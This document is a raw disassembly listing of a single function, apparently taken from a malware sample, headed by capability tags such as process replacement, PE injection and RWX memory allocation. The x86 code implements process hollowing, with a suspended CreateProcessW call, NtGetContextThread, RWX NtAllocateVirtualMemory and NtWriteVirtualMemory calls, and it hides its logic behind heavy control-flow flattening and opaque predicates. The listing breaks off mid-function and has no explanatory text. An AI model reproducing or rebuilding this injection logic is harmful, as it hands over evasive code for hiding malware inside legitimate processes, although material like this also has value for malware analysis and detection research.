Function at 0x100073f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x198
mov eax, dword [0x10069e04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1a0], 0x95f10a31
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x1a4], eax
sub eax, 0x81f86ab0
je 0x1000d08d
jmp 0x1000742c
mov eax, dword [ebp - 0x1a4]
sub eax, 0x82798b95
je 0x1000cc69
jmp 0x10007442
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8389922d
je 0x1000b9fb
jmp 0x10007458
mov eax, dword [ebp - 0x1a4]
sub eax, 0x862ca954
je 0x1000b750
jmp 0x1000746e
mov eax, dword [ebp - 0x1a4]
sub eax, 0x868c7c3d
je 0x1000a92e
jmp 0x10007484
mov eax, dword [ebp - 0x1a4]
sub eax, 0x889e8ed9
je 0x1000a1de
jmp 0x1000749a
mov eax, dword [ebp - 0x1a4]
sub eax, 0x89dcfed6
je 0x1000918b
jmp 0x100074b0
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8b41ae6a
je 0x1000ad56
jmp 0x100074c6
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8c10f824
je 0x100094fa
jmp 0x100074dc
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8ca40d11
je 0x10009ba5
jmp 0x100074f2
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8e1914c0
je 0x10009bf6
jmp 0x10007508
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8eb0fe81
je 0x1000d0e5
jmp 0x1000751e
mov eax, dword [ebp - 0x1a4]
sub eax, 0x91f591fb
je 0x1000d7c7
jmp 0x10007534
mov eax, dword [ebp - 0x1a4]
sub eax, 0x929a4d39
je 0x1000c8ac
jmp 0x1000754a
mov eax, dword [ebp - 0x1a4]
sub eax, 0x92a67e5c
je 0x1000b853
jmp 0x10007560
mov eax, dword [ebp - 0x1a4]
sub eax, 0x935a1f3f
je 0x1000d5d0
jmp 0x10007576
mov eax, dword [ebp - 0x1a4]
sub eax, 0x93cfcaff
je 0x1000b6f0
jmp 0x1000758c
mov eax, dword [ebp - 0x1a4]
sub eax, 0x94c416f9
je 0x1000a49d
jmp 0x100075a2
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9566977a
je 0x10009430
jmp 0x100075b8
mov eax, dword [ebp - 0x1a4]
sub eax, 0x95aefc78
je 0x1000d0d6
jmp 0x100075ce
mov eax, dword [ebp - 0x1a4]
sub eax, 0x95f10a31
je 0x10008caf
jmp 0x100075e4
mov eax, dword [ebp - 0x1a4]
sub eax, 0x96ae8e82
je 0x10009ea7
jmp 0x100075fa
mov eax, dword [ebp - 0x1a4]
sub eax, 0x974129cf
je 0x1000b77a
jmp 0x10007610
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9790e111
je 0x1000db2b
jmp 0x10007626
mov eax, dword [ebp - 0x1a4]
sub eax, 0x980c048a
je 0x1000a0b2
jmp 0x1000763c
mov eax, dword [ebp - 0x1a4]
sub eax, 0x98ec9920
je 0x100097bd
jmp 0x10007652
mov eax, dword [ebp - 0x1a4]
sub eax, 0x990ead6c
je 0x1000932f
jmp 0x10007668
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9ac04013
je 0x1000d6d5
jmp 0x1000767e
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9da11292
je 0x10009509
jmp 0x10007694
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9f484afc
je 0x1000d90b
jmp 0x100076aa
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9faf9c5d
je 0x1000a8dd
jmp 0x100076c0
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9fea2a67
je 0x1000d949
jmp 0x100076d6
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa0920903
je 0x1000bcf7
jmp 0x100076ec
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa14682d8
je 0x1000c827
jmp 0x10007702
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa14df71c
je 0x1000d397
jmp 0x10007718
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa1ce8236
je 0x1000a451
jmp 0x1000772e
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa224469b
je 0x1000d6fc
jmp 0x10007744
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa536b9b6
je 0x10008f9c
jmp 0x1000775a
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa53a895b
je 0x1000bd5e
jmp 0x10007770
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa5f3f32e
je 0x1000b67e
jmp 0x10007786
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa8f45fdf
je 0x10009b37
jmp 0x1000779c
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa9ce253a
je 0x1000b8c5
jmp 0x100077b2
mov eax, dword [ebp - 0x1a4]
sub eax, 0xaa8ad6a6
je 0x10009261
jmp 0x100077c8
mov eax, dword [ebp - 0x1a4]
sub eax, 0xab06ca90
je 0x1000c89d
jmp 0x100077de
mov eax, dword [ebp - 0x1a4]
sub eax, 0xad0f6eb2
je 0x1000ce5b
jmp 0x100077f4
mov eax, dword [ebp - 0x1a4]
sub eax, 0xad830416
je 0x1000cdfb
jmp 0x1000780a
mov eax, dword [ebp - 0x1a4]
sub eax, 0xada46878
je 0x1000cd21
jmp 0x10007820
mov eax, dword [ebp - 0x1a4]
sub eax, 0xae963528
je 0x10009feb
jmp 0x10007836
mov eax, dword [ebp - 0x1a4]
sub eax, 0xaf3635f7
je 0x1000d544
jmp 0x1000784c
mov eax, dword [ebp - 0x1a4]
sub eax, 0xaf7eff08
je 0x1000b7dd
jmp 0x10007862
mov eax, dword [ebp - 0x1a4]
sub eax, 0xafa7c231
je 0x10009d32
jmp 0x10007878
mov eax, dword [ebp - 0x1a4]
sub eax, 0xafae2007
je 0x1000bbe5
jmp 0x1000788e
mov eax, dword [ebp - 0x1a4]
sub eax, 0xafc3ecc3
je 0x10009d23
jmp 0x100078a4
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb0bcadda
je 0x1000acf6
jmp 0x100078ba
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb0db4009
je 0x1000cab0
jmp 0x100078d0
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb108ab5b
je 0x1000af69
jmp 0x100078e6
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb349e3d9
je 0x100093b3
jmp 0x100078fc
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb48b19e2
je 0x1000bd92
jmp 0x10007912
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb4add074
je 0x1000d30b
jmp 0x10007928
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb504504e
je 0x10009167
jmp 0x1000793e
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb75fd80b
je 0x1000c327
jmp 0x10007954
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb8818485
je 0x10009109
jmp 0x1000796a
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb8b27a90
je 0x1000d480
jmp 0x10007980
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb9b18d4b
je 0x1000d3df
jmp 0x10007996
mov eax, dword [ebp - 0x1a4]
sub eax, 0xbbac8ec8
je 0x10009136
push eax
mov eax, esp
mov dword [ebp - 0x184], eax
push eax
mov eax, esp
mov dword [ebp - 0x180], eax
push eax
mov eax, esp
mov dword [ebp - 0x17c], eax
push eax
mov eax, esp
mov dword [ebp - 0x178], eax
push eax
mov eax, esp
mov dword [ebp - 0x174], eax
push eax
mov eax, esp
mov dword [ebp - 0x170], eax
push eax
mov eax, esp
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x1a0], 0x5235d657
jmp 0x1000db43
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
mov edx, eax
sub edx, 0x390d6630
sub edx, 1
add edx, 0x390d6630
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe912a195
mov ecx, 0x6ab2471b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0x1a55a774
jmp 0x1000db43
mov edx, dword [ebp - 0x190]
mov eax, 0x4a38699d
mov ecx, 0x89dcfed6
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
mov edx, eax
sub edx, 0x7f23efb4
sub edx, 1
add edx, 0x7f23efb4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x373d7535
mov ecx, 0x5ce1328d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0x6b2d7507
jmp 0x1000db43
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
mov ecx, dword [0x1006b088]
mov eax, dword [0x1006b084]
mov edx, ecx
add edx, 0x40827c9e
sub edx, 1
sub edx, 0x40827c9e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4f12010
mov ecx, 0xb349e3d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0xe9eb8c9f
jmp 0x1000db43
mov eax, dword [ebp - 0x114]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x10d], al
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
mov edx, eax
sub edx, 0x3de93535
sub edx, 1
add edx, 0x3de93535
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x33644b54
mov ecx, 0x687080d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0x9da11292
jmp 0x1000db43
mov edx, dword [ebp - 0x19c]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x1a0], 0xd3ca6462
jmp 0x1000db43
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x100]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0xf9], al
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
mov edx, eax
add edx, 0xe9364b3a
sub edx, 1
sub edx, 0xe9364b3a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f167c77
mov ecx, 0x6d52a1a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov ecx, dword [0x1006b088]
mov eax, dword [0x1006b084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf98eb790
mov ecx, 0x8ca40d11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
mov edx, eax
sub edx, 0x7bb30a05
sub edx, 1
add edx, 0x7bb30a05
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaf3635f7
mov ecx, 0x8e1914c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov eax, dword [ebp - 0xf4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x180]
mov eax, dword [ebp - 0x17c]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, dword [0x1006b088]
mov eax, dword [0x1006b084]
mov edx, ecx
add edx, 0x5ac5a88d
sub edx, 1
sub edx, 0x5ac5a88d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaf3635f7
mov ecx, 0xdac008fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0xafa7c231
jmp 0x1000db43
mov ecx, dword [0x1006b088]
mov eax, dword [0x1006b084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xad830416
mov ecx, 0xe0e1d121
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov ecx, dword [0x1006b088]
mov eax, dword [0x1006b084]
mov edx, ecx
sub edx, 0xc5eca01f
sub edx, 1
add edx, 0xc5eca01f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xad830416
mov ecx, 0x66dd645f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov ecx, dword [0x1006b088]
mov eax, dword [0x1006b084]
mov edx, ecx
sub edx, 0x88dea2f5
sub edx, 1
add edx, 0x88dea2f5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x41abe92a
mov ecx, 0x1c31b8a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov ecx, dword [0x1006b088]
mov eax, dword [0x1006b084]
mov edx, ecx
add edx, 0xb34c2a72
sub edx, 1
sub edx, 0xb34c2a72
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe0a4b583
mov ecx, 0xc6591106
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0xd21655b0
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0xf4cd6a5d
jmp 0x1000db43
mov eax, dword [ebp - 0x168]
mov dword [eax], 0
mov dword [ebp - 0x1a0], 0xbfab8d4f
jmp 0x1000db43
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
mov edx, eax
add edx, 0xa5519e21
sub edx, 1
sub edx, 0xa5519e21
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9ac04013
mov ecx, 0x868c7c3d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x160]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xc4], eax
mov ecx, dword [0x1006b088]
mov eax, dword [0x1006b084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9ac04013
mov ecx, 0xfb32fee8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0xfa3511e0
jmp 0x1000db43
mov ecx, dword [0x1006b088]
mov eax, dword [0x1006b084]
mov edx, ecx
sub edx, 0xb2ea7eb3
sub edx, 1
add edx, 0xb2ea7eb3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x622dd7cd
mov ecx, 0x4ec8c70c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0xbf4a7207
jmp 0x1000db43
mov eax, dword [ebp - 0x9c]
mov edx, dword [eax + 0x34]
mov ecx, dword [ebp - 0xa0]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov dword [eax], 0
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea7922d0
mov ecx, 0x93cfcaff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
mov edx, eax
add edx, 0x370c7593
sub edx, 1
sub edx, 0x370c7593
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8eb0fe81
mov ecx, 0xd386bc4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x154]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x96], al
mov dword [ebp - 0x1a0], 0x974129cf
jmp 0x1000db43
mov dl, byte [ebp - 0x96]
mov eax, 0xa53a895b
mov ecx, 0x1931acac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov ecx, dword [0x1006b088]
mov eax, dword [0x1006b084]
mov edx, ecx
sub edx, 0xfc0ac433
sub edx, 1
add edx, 0xfc0ac433
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5f10313b
mov ecx, 0x92a67e5c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
mov edx, eax
sub edx, 0x1799a49d
sub edx, 1
add edx, 0x1799a49d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5f10313b
mov ecx, 0x350be79e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
mov edx, eax
add edx, 0xcde09bc7
sub edx, 1
sub edx, 0xcde09bc7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea2110d4
mov ecx, 0x6b33bd3a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov eax, dword [ebp - 0x90]
mov edx, dword [eax]
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x94]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov edx, eax
mov eax, 0xa0920903
mov ecx, 0x250e805f
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov ecx, dword [0x1006b088]
mov eax, dword [0x1006b084]
mov edx, ecx
add edx, 0x44c337c1
sub edx, 1
sub edx, 0x44c337c1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd27800ea
mov ecx, 0xeb90c368
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0xab1be21
jmp 0x1000db43
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x168]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
add eax, 0x211d4b69
add eax, ecx
sub eax, 0x211d4b69
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x1a0], 0xb48b19e2
jmp 0x1000db43
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5070b9a7
mov ecx, 0x1428f67d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov eax, dword [ebp - 0x190]
cmp dword [eax + 0xc4], 0
setne al
and al, 1
mov byte [ebp - 0x7d], al
mov ecx, dword [0x1006b088]
mov eax, dword [0x1006b084]
mov edx, ecx
sub edx, 0x9c83cc64
sub edx, 1
add edx, 0x9c83cc64
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9f484afc
mov ecx, 0x41fea03c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov ecx, dword [0x1006b088]
mov eax, dword [0x1006b084]
mov edx, ecx
sub edx, 0x23526cc2
sub edx, 1
add edx, 0x23526cc2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9fea2a67
mov ecx, 0xab06ca90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0x929a4d39
jmp 0x1000db43
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
mov edx, eax
sub edx, 0xf961a3c4
sub edx, 1
add edx, 0xf961a3c4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa14df71c
mov ecx, 0xc8280c4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0x4c61e710
jmp 0x1000db43
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
mov edx, eax
add edx, 0xe3a0d50
sub edx, 1
sub edx, 0xe3a0d50
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcdef4294
mov ecx, 0xd10ad8d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000e530
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x1a0], 0xe0e1d121
jmp 0x1000db43
mov eax, dword [ebp - 0x180]
mov edx, dword [eax]
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [ebp - 0x188]
mov eax, dword [ebp - 0x18c]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x190]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x170]
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov dword [eax], 0
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4f77b34d
mov ecx, 0x24d321de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf9ff1496
mov ecx, 0x95aefc78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0xbec9f9f4
jmp 0x1000db43
mov eax, dword [0x1006b088]
mov ecx, dword [0x1006b084]
mov edx, eax
add edx, 0xcec29d1c
sub edx, 1
sub edx, 0xcec29d1c
imul eax, edx
and eax, 1
